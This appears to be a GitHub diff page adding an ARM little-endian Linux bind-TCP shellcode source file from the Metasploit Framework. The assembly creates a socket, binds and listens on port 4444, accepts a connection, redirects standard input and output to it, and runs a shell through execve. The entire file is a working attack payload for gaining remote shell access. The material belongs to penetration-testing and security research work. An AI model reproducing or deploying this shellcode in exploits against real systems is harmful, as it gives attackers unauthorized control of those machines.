File tree Expand file tree Collapse file tree 1 file changed +102
-0
lines changed
external/source/shellcode/linux/armle Expand file tree Collapse file tree 1 file changed +102
-0
lines changed Original file line number Diff line number Diff line change
1
+ @@
2
+ @
3
+ @ Name: single_sock_bind
4
+ @ Qualities: -
5
+ @ Authors: civ , repmovsb
6
+ @ License: MSF_LICENSE
7
+ @ Description:
8
+ @
9
+ @ Implementation of a Linux bind TCP shellcode for ARM LE architecture.
10
+ @
11
+ @ This source is built from the payload module (instead of other way around...)
12
+ @
13
+ @ Assemble with: as single_sock_bind.s - o single_sock_bind.o
14
+ @ Link with: ld single_sock_bind.o - o single_sock_bind
15
+ @
16
+ @ Meta - Information:
17
+ @
18
+ @ meta - shortname=Linux Bind TCP
19
+ @ meta - description=Listen on a port for a connection and run a second stage
20
+ @ meta - authors=civ , repmovsb
21
+ @ meta - os=linux
22
+ @ meta - arch=armle
23
+ @ meta - category=singles
24
+ @ meta - connection - type=bind
25
+ @ meta - name=bind_tcp
26
+ @@
27
+
28
+ .text
29
+ .globl _start
30
+ _start:
31
+ @ int socket( int domain , int type , int protocol) ;
32
+ @ socket( 2 , 1 , 6 )
33
+ mov r0 , # 2
34
+ mov r1 , # 1
35
+ mov r2 , # 6
36
+ mov r7 , # 1
37
+ lsl r7 , r7 , # 8
38
+ add r7 , r7 , # 25
39
+ svc 0
40
+ mov r6 , r0
41
+
42
+ @ bind
43
+ add r1 , pc , # 128
44
+ mov r2 , # 16
45
+ mov r7 , # 1
46
+ lsl r7 , r7 , # 8
47
+ add r7 , r7 , # 26
48
+ svc 0
49
+
50
+ @ listen
51
+ mov r0 , r6
52
+ mov r7 , # 1
53
+ lsl r7 , r7 , # 8
54
+ add r7 , r7 , # 28
55
+ svc 0
56
+
57
+ @ accept
58
+ mov r0 , r6
59
+ sub r1 , r1 , r1
60
+ sub r2 , r2 , r2
61
+ mov r7 , # 1
62
+ lsl r7 , r7 , # 8
63
+ add r7 , r7 , # 29
64
+ svc 0
65
+
66
+ @ dup
67
+ mov r6 , r0
68
+ mov r1 , # 2
69
+ loop :
70
+ mov r0 , r6
71
+ mov r7 , # 63
72
+ svc 0
73
+ subs r1 , r1 , # 1
74
+ bpl loop
75
+
76
+ @ execve(SHELL , [ SHELLARG ], [ NULL ] )
77
+ add r0 , pc , # 36
78
+ eor r4 , r4 , r4
79
+ push {r4}
80
+ mov r2 , sp
81
+ add r4 , pc , # 36
82
+ push {r4}
83
+ mov r1 , sp
84
+ mov r7 , # 11
85
+ svc 0
86
+
87
+ @ addr
88
+ @ port: 4444 , sin_fam = 2
89
+ . word 0x5c110002
90
+ @ ip : 0 . 0 . 0 . 0
91
+ . word 0x00000000
92
+
93
+ @ SHELL
94
+ . word 0x00000000 @ the shell goes here!
95
+ . word 0x00000000
96
+ . word 0x00000000
97
+ . word 0x00000000
98
+ @ SHELLARG
99
+ . word 0x00000000 @ the args!
100
+ . word 0x00000000
101
+ . word 0x00000000
102
+ . word 0x00000000
You can’t perform that action at this time.
0 commit comments